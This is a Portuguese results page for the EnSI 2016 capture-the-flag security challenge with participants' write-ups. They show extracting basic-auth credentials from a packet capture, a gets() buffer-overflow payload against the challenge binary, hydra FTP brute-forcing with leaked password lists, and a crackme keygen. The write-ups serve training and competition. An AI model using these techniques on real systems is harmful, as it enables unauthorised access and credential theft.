RESULTADO: Desafio de Segurança do EnSI 2016

O desafio de segurança do EnSI premiou os participantes que estavam presentes no evento pela ordem de recebimento das respostas e quem chegou mais perto da solução final. Ao todo foram recebidas quatro respostas, contudo apenas um conseguiu completar todo o desafio. Sendo o primeiro colocado Caio Vargas Rocha (UFBA), o segundo Guilherme Ladvocat (RNP), o terceiro Alex Gazoli (EsFCEx) e o quarto André Ricardo Santos (StartuS). A seguir são apresentadas as soluções enviadas por cada participante.

01) Caio Vargas Rocha

- Parte 1
Analisando o tráfego de fulano com a ferramenta tshark, podemos ver que ele fez algumas requisições para seu site em 200.128.6.170 enquanto autenticado.

```
$ tshark -nr captura.pcap http.authbasic
27236 153.757020 10.1.147.127 -> 200.128.6.170 HTTP 459 GET /notes/ HTTP/1.1
28070 171.467764 10.1.147.127 -> 200.128.6.170 HTTP 459 GET /notes/ HTTP/1.1
```

Credenciais de acesso:
```
$ tshark -nr captura.pcap -Tfields -e http.authbasic http.authbasic

fulano:ACbECKrM5Jr5hPrW
fulano:ACbECKrM5Jr5hPrW
```

Acessando http:://200.128.6.170/notes, obtemos uma senha SSH, e duas listas de senhas que Fulano utiliza em outros serviços.

- Parte 2
Fazendo nmap no servidor web releva a porta 1000 utilizada por um serviço que o NMAP não reconhece e a porta 2222 usada pelo sshd:

```
1000/tcp open     cadlock?
2222/tcp open     ssh      OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)
```

Acessando o servidor via SSH na porta 2222 utilizando a senha encontrada no site de Fulano:

```
fulano@desafio-ensi-vm1:~$ ls -la
total 36
dr-xr-x--- 2 fulano fulano 4096 Set 20 15:44 .
drwxr-xr-x 4 root   root   4096 Set 20 15:42 ..
-r-xr-x--- 1 fulano fulano  220 Nov 12  2014 .bash_logout
-r-xr-x--- 1 fulano fulano 3515 Nov 12  2014 .bashrc
-r-xr-x--- 1 fulano fulano  675 Nov 12  2014 .profile
-r-xr-x--- 1 fulano fulano 9896 Set 20 15:43 pwn
-r-xr-x--- 1 fulano fulano 1270 Set 20 15:43 .pwn.c
```

Fazendo um recon inicial podemos ver que o netcat está escutando na porta 1000 e executando um script (provavelmente wrapper para o binário pwn).

```
fulano@desafio-ensi-vm1:~$ ps aux | grep 1000
root     10625  0.0  0.3 109028  3732 ?        Sl   Set20   0:00
/usr/bin/docker-proxy -proto tcp -host-ip 0.0.0.0 -host-port 1000 -container-ip
172.17.0.2 -container-port 1000
root     16112  0.0  0.1   6328  1620 ?        S    12:00   0:00 nc -lp 1000
-e /app/script.sh
fulano   16146  0.0  0.2  12748  2212 pts/0    S+   12:08   0:00 grep 1000
```

Analisando o código, podemos ver que `vfilename` está sendo lida utilizando `gets()` sem nenhuma forma de bound-checking. Isso nos possibilita controlar o

restante das variáveis no data segment `open_flag` e `filename` que tem, respectivamente, offsets de +256 e +260 em relação a `vfilename`:

```
fulano@desafio-ensi-vm1:~$ cat .pwn.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

#define     ELEMENTS    95

char vfilename[256];
int  open_flag;
char filename[5];

char * decrypt (const char  * flag);

int
main (void) {

    char flag[1024] = {0};

    strcpy(filename, "wrong");
    open_flag = 0;

    //printf ("Open the flag file through the input buffer !! \nBuffer: ");
    gets(vfilename);

    FILE * fp = fopen (filename, "r");
    if (!fp) {
        fprintf (stderr, "Error openning the file [!!]\n");
        exit(1);
    }
    fgets (flag, sizeof(flag), fp);
    flag[strlen (flag)] = 0x00;

    fclose(fp);
    fflush (fp);

    decrypt (flag);

    printf("\n");

    return 0;
}

char *
decrypt (const char * enc_flag) {
    if (!strcmp(filename, "flag") && open_flag != 1482184792)  {
        printf ("Sorry, you didn't reach it yet, I'm still unable to open the
file!\n");
        exit(1);
    }

    char letter[5] = {0};
    int j = 0;
    for (int i = 0; i <  strlen(enc_flag); i++) {
        if (enc_flag[i] == ' ') {
            j = 0;
            printf ("%c", (char)((atoi(letter)) % ELEMENTS)+64);
            bzero(letter, sizeof(letter));
            continue;
        }
```

```
        letter[j] = enc_flag[i];
        j++;
    }
    return NULL;
}
```

A primeira linha de decrypt indica que os valores que precisamos preencher em `filename` e `open_flag` são `"flag"` e `1482184792`, respectivamente. Sendo esse último equivalente a `0x58585858` ou `XXXX`.

Podemos então criar uma payload que nos permite passar pelo `if` e obtermos a flag:

```
$ cat payload
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXflag
```
```
$ nc 200.128.6.170 1000 < payload
/home/fulano/pwn
Open the flag file through the input buffer!!
Buffer:
ftp_dois_pontos_barra_barra_fulano_arroba_duzentos_ponto_cento_e_vinte_e_oito_po
nto_seis_ponto_cento_e_setenta_e_um
```

- **Parte 3**

Acessando 200.128.6.171 via ftp

Utilizando as senhas FTP da primeira tarefa como dicionário, conseguimos acesso FTP:

```
$ hydra -t 4 -l fulano -P /tmp/pass ftp://200.128.6.171
Hydra v8.3 (c) 2016 by van Hauser/THC - Please do not use in military or secret
service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2016-09-22 12:28:28
[WARNING] Restorefile (./hydra.restore) from a previous session found, to
prevent overwriting, you have 10 seconds to abort...
[DATA] max 4 tasks per 1 server, overall 64 tasks, 20 login tries (l:1/p:20), ~0
tries per task
[DATA] attacking service ftp on port 21
[21][ftp] host: 200.128.6.171   login: fulano   password: B8mbsCjS2fCwdRSN
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2016-09-22 12:28:46
```

Conectando ao servidor FTP, temos dois arquivos:

```
ftp> dir
227 Entering Passive Mode (200,128,6,171,225,85).
150 Opening ASCII mode data connection for file list
-r-xr-x---   1 fulano   fulano       1653 Sep 20 17:27 lastOne.s
-r-xr-x---   1 fulano   fulano        136 Sep 20 17:38 README
226 Transfer complete
```

```
$ cat lastOne.s
#Based on liveoverflow chall:
#
https://github.com/LiveOverflow/liveoverflow_youtube/blob/master/0x07_0x08_uncra
ckable_crackme/license_2.c

.data
        SERIAL:
                .asciz "Enter with the with a serial-key:"
        CHECKING:
                .asciz "Checking License: %s\n"
        GRANTED:
                .asciz "+ Access Granted!\nPlease send the keygen source code
produced by you through mail solution [!!]"
        DENIED:
                .asciz "- [Invalid serial number] Access Denied!\n"
        USAGE:
                .asciz "usage: ./chall <serial-key>\n"


.text
        .globl main
        .globl stripstring
        .type main, @function
        .type stripstring, @function

main:
        push    %rbp
        movq    %rsp, %rbp

        sub     $0x48, %rsp

        mov     $SERIAL, %rdi
        call    puts

        movq    $0x00, %rdi
        lea     -0x40(%rbp), %rsi
        movq    $0x40, %rdx
        mov     $0x00, %rax
        syscall

        mov     %rsi, %rdi
        call    stripstring


        mov     $CHECKING, %rdi
        xor     %rax, %rax
        call    printf

        lea     -0x40(%rbp), %rdi

        xor     %rcx, %rcx
        xor     %rax, %rax
        mov     %rax, -0x48(%rbp)

        #Looping
        .Loop_sum:
                cmpb    $0x00, (%rdi, %rcx, 1)
                je               .Loop_sum_end

                movb    (%rdi, %rcx, 1), %al
                addl    %eax, -0x48(%rbp)
```

```
                inc     %rcx
                jmp     .Loop_sum

.Loop_sum_end:
        mov     -0x48(%rbp), %rax
        cmpq    $0x400, %rax
        jne     .Lwrong

        movq    $GRANTED, %rdi
        call    puts
        jmp     .Lmain_end

.Lwrong:
        movq    $DENIED, %rdi
        call    puts
        jmp     .Lmain_end

.Lmain_error:
        mov     $USAGE, %rdi
        call    puts

.Lmain_end:
        xor     %rax, %rax
        mov     %rbp, %rsp
        pop     %rbp
        ret


stripstring:
        push    %rbp
        mov     %rsp, %rbp

        xor     %rcx, %rcx

        .Loop_strip:
                cmpb    $0x0a, (%rdi, %rcx, 1)
                je              .Lstrip_end
                inc     %rcx
                jmp     .Loop_strip

.Lstrip_end:
        movb    $0x00, (%rdi, %rcx, 1)

        mov     %rbp, %rsp
        pop     %rbp
        ret
```

O programa acima soma os caracteres da chave lida em `stdin` e compara a soma com o valor 0x400, caso os valores sejam iguais o programa imprime uma mensagem de sucesso.

O desafio nessa etapa é criar um keygen que gere chaves válidas para o programa acima:

```
$ cat keygen.c
#include <stdio.h>
#include <stdlib.h>
#include <time.h>

#define MAGIC 0x400

char key[MAGIC] = { 0 };
```

```
int main (void) {

        int i, sum = 0, j, excess;

        srand(time(NULL));

        for (i = 0; sum < MAGIC; i++) {
                key[i]= rand() % 26 + 'a';
                sum += key[i];
        }

        excess = sum - MAGIC;
        while (excess > 0) {
                j = rand() % i;
                if (key[j] - excess < 'a') {
                        excess = excess - (key[j] - 'a');
                        key[j] = 'a';
                } else {
                        key[j] = key[j] - excess;
                        excess = 0;
                }
        }

        printf("%s\n", key);

        return 0;
}
```

02) Guilherme Ladvocat

fulano:ACbECKrM5Jr5hPrW

Consegui acessar o host via ssh:

$ ssh -p 2222 fulano@200.128.6.170
fulano@200.128.6.170's password:

fulano@desafio-ensi-vm1:~$ ls
arquivos.txt flag pwn pwn.c wrong

fulano@desafio-ensi-vm1:~$ more flag
rUfNCNw2BqQNwC93
GWEEaJ29xjvfMtxH
upR4v39TaggqbMgn
7jJyXBwqLTpCDS94
fqdgCT64SsXEpSVq
M679cfK2NZZB5NAb
PRqtmZL9QNGt6pHk
qmwWTKAhyKMkcQYD
Fuywvtz3DzH4Vvue
deanc6g4u57eA4LL
GsnYjXcrq58zMAKj
qsvmtRNWMAGFA6F8
ugttpMsuZLTX4nwt
FB6vq4KsDcw3NdFF

xqRVQw2GPYt69MF8
WKpYHeHQr3sfMaS6
khkz9EB4nkbMgQ5W
Hmu8Ywt67MqsVvqz
UtTVnfq99Cwr42sJ
3vL63aFfby7swMXf

fulano@desafio-ensi-vm1:~$ more arquivos.txt
-rwsr-xr-x 1 root root 1031232 Jul 25 15:59 /usr/sbin/exim4
-rwsr-sr-x 1 root mail 89248 Fev 11 2015 /usr/bin/procmail
-rwsr-xr-x 1 root root 39912 Nov 18 2015 /usr/bin/newgrp
-rwsr-xr-x 1 root root 53616 Nov 18 2015 /usr/bin/chfn
-rwsr-xr-x 1 root root 54192 Nov 18 2015 /usr/bin/passwd
-rwsr-xr-x 1 root root 75376 Nov 18 2015 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 44464 Nov 18 2015 /usr/bin/chsh
-rwsr-xr-x 1 root root 10104 Fev 24 2014 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-- 1 root messagebus 294512 Ago 2 2015
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 464904 Jul 22 14:45 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 90456 Ago 12 2014 /sbin/mount.nfs
-rwsr-xr-x 1 root root 40000 Mar 29 2015 /bin/mount
-rwsr-xr-x 1 root root 27416 Mar 29 2015 /bin/umount
-rwsr-xr-x 1 root root 40168 Nov 18 2015 /bin/su

fulano@desafio-ensi-vm1:~$

Tentei executar o arquivo flag via input buffer do login através do ftp
mas obtive sucesso:

$ ftp -d 200.128.6.170 1000
Connected to 200.128.6.170.
/home/fulano/pwn
ftp: setsockopt: Bad file descriptor
Name (200.128.6.170:guilherme): cat /home/fulano/flag
---> USER cat /home/fulano/flag
Open the flag file through the input buffer!!
Login failed.
---> SYST
Buffer: wrong_file_please_try_harder
ftp> exit
---> QUIT
421 Service not available, remote server has closed connection

Neste momento a porta 1000 está fechada:

$ ftp 200.128.6.170 1000
ftp: connect: Connection refused

Informações do site http://200.128.6.170/notes/

fulano:ACbECKrM5Jr5hPrW

SSH access

$ ssh fulano@websiteServer -p (I need knock to connect)
fulano@websiteServer's password: 8jf6yugRrfxguYRQ

FTP login

root:NsW9jKJyrJAGSenz
fulano:5KHXWSZp99yaHDpb
fulanotal:EznuNQZccnPd5fxg
ftpfulano:ZAyZ7zvLwuLeMjYJ
root:QfG5dRnjV4mbA4TD
fulano:9F3Ys6RvxZh5wY7K
fulanotal:jbEWN2U8GjCrDN8Q
ftpfulano:9rxEJTV2GDdTRCAa
root:gWBzMeBC8ShEvAUr
fulano:B8mbsCjS2fCwdRSN
fulanotal:mDvAsg25zF6q4DNJ
ftpfulano:dMCqTL4k8Defv6Wm
root:vY4MwmWLeDPyvPVC
fulano:ak6yTMYYpGREYNgK
fulanotal:utx8ZSFPPduA3YeY
ftpfulano:M9HHyf8THrLNbw3V
root:a6NMKujYMVcqMrqp
fulano:Fxg9qu2sHTqA56eZ
fulanotal:Sd6dBBsrHf3juQnq
ftpfulano:gqqx6xE5TYNZmmgU

Steg/Crypt passwords

rUfNCNw2BqQNwC93
GWEEaJ29xjvfMtxH
upR4v39TaggqbMgn
7jJyXBwqLTpCDS94
fqdgCT64SsXEpSVq
M679cfK2NZZB5NAb
PRqtmZL9QNGt6pHk
qmwWTKAhyKMkcQYD
Fuywvtz3DzH4Vvue
deanc6g4u57eA4LL
GsnYjXcrq58zMAKj
qsvmtRNWMAGFA6F8
ugttpMsuZLTX4nwt
FB6vq4KsDcw3NdFF
xqRVQw2GPYt69MF8
WKpYHeHQr3sfMaS6

khkz9EB4nkbMgQ5W
Hmu8Ywt67MqsVvqz
UtTVnfq99Cwr42sJ
3vL63aFfby7swMXf

Tentei executar o arquivo flag via input buffer do login através do ftp mas **não** obtive sucesso.
tentei usar o metasploit para o rpcbind mas não deu certo...

03) Alex Gazoli

Foi identificado no arquivo PCAP, disponibilizado no link, as credenciais do usuário fulano para o sítio "http://200.128.6.170/notes/" (usuário: fulano; senha: ACbECKrM5Jr5hPrW), no sítio há as seguintes informações:

SSH Access

The info to connect to my server by ssh

$ ssh fulano@websiteServer -p (I need knock to connect)
fulano@websiteServer's password: 8jf6yugRrfxguYRQ

FTP login

My list of credentials to ftp service

root:NsW9jKJyrJAGSenz
fulano:5KHXWSZp99yaHDpb
fulanotal:EznuNQZccnPd5fxg
ftpfulano:ZAyZ7zvLwuLeMjYJ
root:QfG5dRnjV4mbA4TD
fulano:9F3Ys6RvxZh5wY7K
fulanotal:jbEWN2U8GjCrDN8Q
ftpfulano:9rxEJTV2GDdTRCAa
root:gWBzMeBC8ShEvAUr
fulano:B8mbsCjS2fCwdRSN
fulanotal:mDvAsg25zF6q4DNJ
ftpfulano:dMCqTL4k8Defv6Wm
root:vY4MwmWLeDPyvPVC
fulano:ak6yTMYYpGREYNgK
fulanotal:utx8ZSFPPduA3YeY
ftpfulano:M9HHyf8THrLNbw3V
root:a6NMKujYMVcqMrqp
fulano:Fxg9qu2sHTqA56eZ
fulanotal:Sd6dBBsrHf3juQnq
ftpfulano:gqqx6xE5TYNZmmgU

Steg/Crypt passwords

My list of passwords to use in steg/crypto files

rUfNCNw2BqQNwC93
GWEEaJ29xjvfMtxH
upR4v39TaggqbMgn
7jJyXBwqLTpCDS94
fqdgCT64SsXEpSVq
M679cfK2NZZB5NAb
PRqtmZL9QNGt6pHk
qmwWTKAhyKMkcQYD
Fuywvtz3DzH4Vvue
deanc6g4u57eA4LL
GsnYjXcrq58zMAKj
qsvmtRNWMAGFA6F8
ugttpMsuZLTX4nwt
FB6vq4KsDcw3NdFF
xqRVQw2GPYt69MF8
WKpYHeHQr3sfMaS6
khkz9EB4nkbMgQ5W
Hmu8Ywt67MqsVvqz
UtTVnfq99Cwr42sJ
3vL63aFfby7swMXf

04) André Ricardo Santos

Primeiro pesquisei pelo usuário "fulano" no arquivo de captura e encontrei o ip do site, o usuário e a senha

http://200.128.6.170/notes/

user: fulano

password: ACbECKrM5Jr5hPrW

depois de logar no site vi que para ter acesso via ssh precisaria abrir a porta SSH usando o knock, infelizmente após várias tentativas não consegui logar.